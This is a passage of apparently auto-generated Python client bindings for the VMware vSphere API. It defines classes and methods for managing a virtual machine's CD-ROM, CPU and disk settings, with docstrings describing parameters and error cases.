def __init__(self,
type=None,
label=None,
ide=None,
sata=None,
backing=None,
state=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type type: :class:`Cdrom.HostBusAdapterType`
:param type: Type of host bus adapter to which the device is attached.
:type label: :class:`str`
:param label: Device label.
:type ide: :class:`IdeAddressInfo`
:param ide: Address of device attached to a virtual IDE adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Cdrom.HostBusAdapterType.IDE`.
:type sata: :class:`SataAddressInfo`
:param sata: Address of device attached to a virtual SATA adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Cdrom.HostBusAdapterType.SATA`.
:type backing: :class:`Cdrom.BackingInfo`
:param backing: Physical resource backing for the virtual CD-ROM device.
:type state: :class:`ConnectionState`
:param state: Connection status of the virtual device.
:type start_connected: :class:`bool`
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
:type allow_guest_control: :class:`bool`
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
"""
self.type = type
self.label = label
self.ide = ide
self.sata = sata
self.backing = backing
self.state = state
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cdrom.info', {
'type': type.ReferenceType(__name__, 'Cdrom.HostBusAdapterType'),
'label': type.StringType(),
'ide': type.OptionalType(type.ReferenceType(__name__, 'IdeAddressInfo')),
'sata': type.OptionalType(type.ReferenceType(__name__, 'SataAddressInfo')),
'backing': type.ReferenceType(__name__, 'Cdrom.BackingInfo'),
'state': type.ReferenceType(__name__, 'ConnectionState'),
'start_connected': type.BooleanType(),
'allow_guest_control': type.BooleanType(),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Cdrom.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual CD-ROM device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'IDE' : [('ide', False)],
'SATA' : [('sata', False)],
}
),
]
def __init__(self,
type=None,
ide=None,
sata=None,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type type: :class:`Cdrom.HostBusAdapterType` or ``None``
:param type: Type of host bus adapter to which the device should be attached.
If None, guest-specific default values will be used
:type ide: :class:`IdeAddressSpec` or ``None``
:param ide: Address for attaching the device to a virtual IDE adapter.
If None, the server will choose an available address; if none is
available, the request will fail.
:type sata: :class:`SataAddressSpec` or ``None``
:param sata: Address for attaching the device to a virtual SATA adapter.
If None, the server will choose an available address; if none is
available, the request will fail.
:type backing: :class:`Cdrom.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual CD-ROM device.
If None, defaults to automatic detection of a suitable host device.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
Defaults to false if None.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
Defaults to false if None.
"""
self.type = type
self.ide = ide
self.sata = sata
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cdrom.create_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Cdrom.HostBusAdapterType')),
'ide': type.OptionalType(type.ReferenceType(__name__, 'IdeAddressSpec')),
'sata': type.OptionalType(type.ReferenceType(__name__, 'SataAddressSpec')),
'backing': type.OptionalType(type.ReferenceType(__name__, 'Cdrom.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Cdrom.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual CD-ROM device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type backing: :class:`Cdrom.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual CD-ROM device.
This attribute may only be modified if the virtual machine is not
powered on or the virtual CD-ROM device is not connected.
If None, the value is unchanged.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
If None, the value is unchanged.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
If None, the value is unchanged.
"""
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cdrom.update_spec', {
'backing': type.OptionalType(type.ReferenceType(__name__, 'Cdrom.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Cdrom.Summary`` class contains commonly used information about a
virtual CD-ROM device.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
cdrom=None,
):
"""
:type cdrom: :class:`str`
:param cdrom: Identifier of the virtual CD-ROM device.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``. When methods return a
value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
"""
self.cdrom = cdrom
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cdrom.summary', {
'cdrom': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual CD-ROM devices
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Cdrom.Summary`
:return: List of commonly used information about virtual CD-ROM devices.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
cdrom,
):
"""
Returns information about a virtual CD-ROM device.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type cdrom: :class:`str`
:param cdrom: Virtual CD-ROM device identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
:rtype: :class:`Cdrom.Info`
:return: Information about the specified virtual CD-ROM device.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual CD-ROM device is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'cdrom': cdrom,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual CD-ROM device to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Cdrom.CreateSpec`
:param spec: Specification for the new virtual CD-ROM device.
:rtype: :class:`str`
:return: Virtual CD-ROM device identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the CD-ROM device was created but was
unable to confirm the creation because the identifier of the new
device could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended or if the virtual machine is
powered on and virtual CD-ROM type is IDE.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if the specified storage address is unavailable; for example, if
the SCSI adapter requested does not exist.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInUse`
if the specified storage address is in use.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if the specified storage address is out of bounds.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
:raise: :class:`com.vmware.vapi.std.errors_client.Unsupported`
if the guest operating system of the virtual machine is not
supported and spec includes None attributes that default to
guest-specific values.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
cdrom,
spec,
):
"""
Updates the configuration of a virtual CD-ROM device.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type cdrom: :class:`str`
:param cdrom: Virtual CD-ROM device identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
:type spec: :class:`Cdrom.UpdateSpec`
:param spec: Specification for updating the virtual CD-ROM device.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual CD-ROM device is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if one or more of the attributes specified in the ``spec``
parameter cannot be modified due to the current power state of the
virtual machine or the connection state of the virtual CD-ROM
device.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'cdrom': cdrom,
'spec': spec,
})
def delete(self,
vm,
cdrom,
):
"""
Removes a virtual CD-ROM device from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type cdrom: :class:`str`
:param cdrom: Virtual CD-ROM device identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual CD-ROM device is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended or if the virtual machine is
powered on and virtual CD-ROM type is IDE.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'cdrom': cdrom,
})
def connect(self,
vm,
cdrom,
):
"""
Connects a virtual CD-ROM device of a powered-on virtual machine to its
backing. Connecting the virtual device makes the backing accessible
from the perspective of the guest operating system.
For a powered-off virtual machine, the :func:`Cdrom.update` method may
be used to configure the virtual CD-ROM device to start in the
connected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type cdrom: :class:`str`
:param cdrom: Virtual CD-ROM device identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual CD-ROM device is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual CD-ROM device is already connected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('connect',
{
'vm': vm,
'cdrom': cdrom,
})
def disconnect(self,
vm,
cdrom,
):
"""
Disconnects a virtual CD-ROM device of a powered-on virtual machine
from its backing. The virtual device is still present and its backing
configuration is unchanged, but from the perspective of the guest
operating system, the CD-ROM device is not connected to its backing
resource.
For a powered-off virtual machine, the :func:`Cdrom.update` method may
be used to configure the virtual CD-ROM device to start in the
disconnected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type cdrom: :class:`str`
:param cdrom: Virtual CD-ROM device identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Cdrom``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual CD-ROM device is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual CD-ROM device is already disconnected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('disconnect',
{
'vm': vm,
'cdrom': cdrom,
})
class Cpu(VapiInterface):
"""
The ``Cpu`` class provides methods for configuring the CPU settings of a
virtual machine.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.cpu'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _CpuStub)
self._VAPI_OPERATION_IDS = {}
class Info(VapiStruct):
"""
The ``Cpu.Info`` class contains CPU-related information about a virtual
machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
count=None,
cores_per_socket=None,
hot_add_enabled=None,
hot_remove_enabled=None,
):
"""
:type count: :class:`long`
:param count: Number of CPU cores.
:type cores_per_socket: :class:`long`
:param cores_per_socket: Number of CPU cores per socket.
:type hot_add_enabled: :class:`bool`
:param hot_add_enabled: Flag indicating whether adding CPUs while the virtual machine is
running is enabled.
:type hot_remove_enabled: :class:`bool`
:param hot_remove_enabled: Flag indicating whether removing CPUs while the virtual machine is
running is enabled.
"""
self.count = count
self.cores_per_socket = cores_per_socket
self.hot_add_enabled = hot_add_enabled
self.hot_remove_enabled = hot_remove_enabled
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cpu.info', {
'count': type.IntegerType(),
'cores_per_socket': type.IntegerType(),
'hot_add_enabled': type.BooleanType(),
'hot_remove_enabled': type.BooleanType(),
},
Info,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Cpu.UpdateSpec`` class describes the updates to be made to the
CPU-related settings of a virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
count=None,
cores_per_socket=None,
hot_add_enabled=None,
hot_remove_enabled=None,
):
"""
:type count: :class:`long` or ``None``
:param count: New number of CPU cores. The number of CPU cores in the virtual
machine must be a multiple of the number of cores per socket.
The supported range of CPU counts is constrained by the configured
guest operating system and virtual hardware version of the virtual
machine.
If the virtual machine is running, the number of CPU cores may only
be increased if :attr:`Cpu.Info.hot_add_enabled` is true, and may
only be decreased if :attr:`Cpu.Info.hot_remove_enabled` is true.
If None, the value is unchanged.
:type cores_per_socket: :class:`long` or ``None``
:param cores_per_socket: New number of CPU cores per socket. The number of CPU cores in the
virtual machine must be a multiple of the number of cores per
socket.
If None, the value is unchanged.
:type hot_add_enabled: :class:`bool` or ``None``
:param hot_add_enabled: Flag indicating whether adding CPUs while the virtual machine is
running is enabled.
This attribute may only be modified if the virtual machine is
powered off.
If None, the value is unchanged.
:type hot_remove_enabled: :class:`bool` or ``None``
:param hot_remove_enabled: Flag indicating whether removing CPUs while the virtual machine is
running is enabled.
This attribute may only be modified if the virtual machine is
powered off.
If None, the value is unchanged.
"""
self.count = count
self.cores_per_socket = cores_per_socket
self.hot_add_enabled = hot_add_enabled
self.hot_remove_enabled = hot_remove_enabled
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.cpu.update_spec', {
'count': type.OptionalType(type.IntegerType()),
'cores_per_socket': type.OptionalType(type.IntegerType()),
'hot_add_enabled': type.OptionalType(type.BooleanType()),
'hot_remove_enabled': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
def get(self,
vm,
):
"""
Returns the CPU-related settings of a virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`Cpu.Info`
:return: CPU-related settings of the virtual machine.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
})
def update(self,
vm,
spec,
):
"""
Updates the CPU-related settings of a virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Cpu.UpdateSpec`
:param spec: Specification for updating the CPU-related settings of the virtual
machine.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if one of the provided settings is not permitted; for example,
specifying a negative value for ``count``.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if ``hotAddEnabled`` or ``hotRemoveEnabled`` is specified and the
virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if ``count`` is specified and is greater than ``count``,
``hotAddEnabled`` is false, and the virtual machine is not powered
off.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if ``count`` is specified and is less than ``count``,
``hotRemoveEnabled`` is false, and the virtual machine is not
powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'spec': spec,
})
class Disk(VapiInterface):
"""
The ``Disk`` class provides methods for configuring the virtual disks of a
virtual machine. A virtual disk has a backing such as a VMDK file. The
backing has an independent lifecycle from the virtual machine when it is
detached from the virtual machine. The :func:`Disk.create` method provides
the ability to create a new virtual disk. When creating a virtual disk, a
new VMDK file may be created or an existing VMDK file may used as a
backing. Once a VMDK file is associated with a virtual machine, its
lifecycle will be bound to the virtual machine. In other words, it will be
deleted when the virtual machine is deleted. The :func:`Disk.delete` method
provides the ability to detach a VMDK file from the virtual machine. The
:func:`Disk.delete` method does not delete the VMDK file that backs the
virtual disk. Once detached, the VMDK file will not be destroyed when the
virtual machine to which it was associated is deleted.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.Disk"
"""
Resource type for the virtual disk.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.disk'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _DiskStub)
self._VAPI_OPERATION_IDS = {}
class HostBusAdapterType(Enum):
"""
The ``Disk.HostBusAdapterType`` class defines the valid types of host bus
adapters that may be used for attaching a virtual storage device to a
virtual machine.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
IDE = None
"""
Disk is attached to an IDE adapter.
"""
SCSI = None
"""
Disk is attached to a SCSI adapter.
"""
SATA = None
"""
Disk is attached to a SATA adapter.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`HostBusAdapterType` instance.
"""
Enum.__init__(string)
HostBusAdapterType._set_values([
HostBusAdapterType('IDE'),
HostBusAdapterType('SCSI'),
HostBusAdapterType('SATA'),
])
HostBusAdapterType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.disk.host_bus_adapter_type',
HostBusAdapterType))
class BackingType(Enum):
"""
The ``Disk.BackingType`` class defines the valid backing types for a
virtual disk.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
VMDK_FILE = None
"""
Virtual disk is backed by a VMDK file.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`BackingType` instance.
"""
Enum.__init__(string)
BackingType._set_values([
BackingType('VMDK_FILE'),
])
BackingType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.disk.backing_type',
BackingType))
class BackingInfo(VapiStruct):
"""
The ``Disk.BackingInfo`` class contains information about the physical
resource backing a virtual disk.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'VMDK_FILE' : [('vmdk_file', True)],
}
),
]
def __init__(self,
type=None,
vmdk_file=None,
):
"""
:type type: :class:`Disk.BackingType`
:param type: Backing type for the virtual disk.
:type vmdk_file: :class:`str`
:param vmdk_file: Path of the VMDK file backing the virtual disk.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Disk.BackingType.VMDK_FILE`.
"""
self.type = type
self.vmdk_file = vmdk_file
VapiStruct.__init__(self)
BackingInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.backing_info', {
'type': type.ReferenceType(__name__, 'Disk.BackingType'),
'vmdk_file': type.OptionalType(type.StringType()),
},
BackingInfo,
False,
None))
class BackingSpec(VapiStruct):
"""
The ``Disk.BackingSpec`` class provides a specification of the physical
resource backing a virtual disk.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'VMDK_FILE' : [('vmdk_file', True)],
}
),
]
def __init__(self,
type=None,
vmdk_file=None,
):
"""
:type type: :class:`Disk.BackingType`
:param type: Backing type for the virtual disk.
:type vmdk_file: :class:`str`
:param vmdk_file: Path of the VMDK file backing the virtual disk.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Disk.BackingType.VMDK_FILE`.
"""
self.type = type
self.vmdk_file = vmdk_file
VapiStruct.__init__(self)
BackingSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.backing_spec', {
'type': type.ReferenceType(__name__, 'Disk.BackingType'),
'vmdk_file': type.OptionalType(type.StringType()),
},
BackingSpec,
False,
None))
class VmdkCreateSpec(VapiStruct):
"""
The ``Disk.VmdkCreateSpec`` class provides a specification for creating a
new VMDK file to be used as a backing for a virtual disk. The virtual disk
will be stored in the same directory as the virtual machine's configuration
file.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
name=None,
capacity=None,
storage_policy=None,
):
"""
:type name: :class:`str` or ``None``
:param name: Base name of the VMDK file. The name should not include the '.vmdk'
file extension.
If None, a name (derived from the name of the virtual machine) will
be chosen by the server.
:type capacity: :class:`long` or ``None``
:param capacity: Capacity of the virtual disk backing in bytes.
If None, defaults to a guest-specific capacity.
:type storage_policy: :class:`Disk.StoragePolicySpec` or ``None``
:param storage_policy: The ``Disk.StoragePolicySpec`` class contains information about the
storage policy that is to be associated the with VMDK file. This
attribute was added in vSphere API 6.7.
If None the default storage policy of the target datastore (if
applicable) is applied. Currently a default storage policy is only
supported by object based datastores : VVol & vSAN. For non- object
datastores, if None then no storage policy would be associated with
the VMDK file.
"""
self.name = name
self.capacity = capacity
self.storage_policy = storage_policy
VapiStruct.__init__(self)
VmdkCreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.vmdk_create_spec', {
'name': type.OptionalType(type.StringType()),
'capacity': type.OptionalType(type.IntegerType()),
'storage_policy': type.OptionalType(type.ReferenceType(__name__, 'Disk.StoragePolicySpec')),
},
VmdkCreateSpec,
False,
None))
class Info(VapiStruct):
"""
The ``Disk.Info`` class contains information about a virtual disk.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'IDE' : [('ide', True)],
'SCSI' : [('scsi', True)],
'SATA' : [('sata', True)],
}
),
]
def __init__(self,
label=None,
type=None,
ide=None,
scsi=None,
sata=None,
backing=None,
capacity=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type type: :class:`Disk.HostBusAdapterType`
:param type: Type of host bus adapter to which the device is attached.
:type ide: :class:`IdeAddressInfo`
:param ide: Address of device attached to a virtual IDE adapter.
Workaround for PR1459646
:type scsi: :class:`ScsiAddressInfo`
:param scsi: Address of device attached to a virtual SCSI adapter.
Workaround for PR1459646
:type sata: :class:`SataAddressInfo`
:param sata: Address of device attached to a virtual SATA adapter.
Workaround for PR1459646
:type backing: :class:`Disk.BackingInfo`
:param backing: Physical resource backing for the virtual disk.
:type capacity: :class:`long` or ``None``
:param capacity: Capacity of the virtual disk in bytes.
If None, virtual disk is inaccessible or disk capacity is 0.
"""
self.label = label
self.type = type
self.ide = ide
self.scsi = scsi
self.sata = sata
self.backing = backing
self.capacity = capacity
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.info', {
'label': type.StringType(),
'type': type.ReferenceType(__name__, 'Disk.HostBusAdapterType'),
'ide': type.OptionalType(type.ReferenceType(__name__, 'IdeAddressInfo')),
'scsi': type.OptionalType(type.ReferenceType(__name__, 'ScsiAddressInfo')),
'sata': type.OptionalType(type.ReferenceType(__name__, 'SataAddressInfo')),
'backing': type.ReferenceType(__name__, 'Disk.BackingInfo'),
'capacity': type.OptionalType(type.IntegerType()),
},
Info,
False,
None))
class StoragePolicySpec(VapiStruct):
"""
The ``Disk.StoragePolicySpec`` class contains information about the storage
policy be associated with a VMDK file. This class was added in vSphere API
6.7.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
policy=None,
):
"""
:type policy: :class:`str`
:param policy: Identifier of the storage policy which should be associated with
the VMDK file. This attribute was added in vSphere API 6.7.
When clients pass a value of this class as a parameter, the
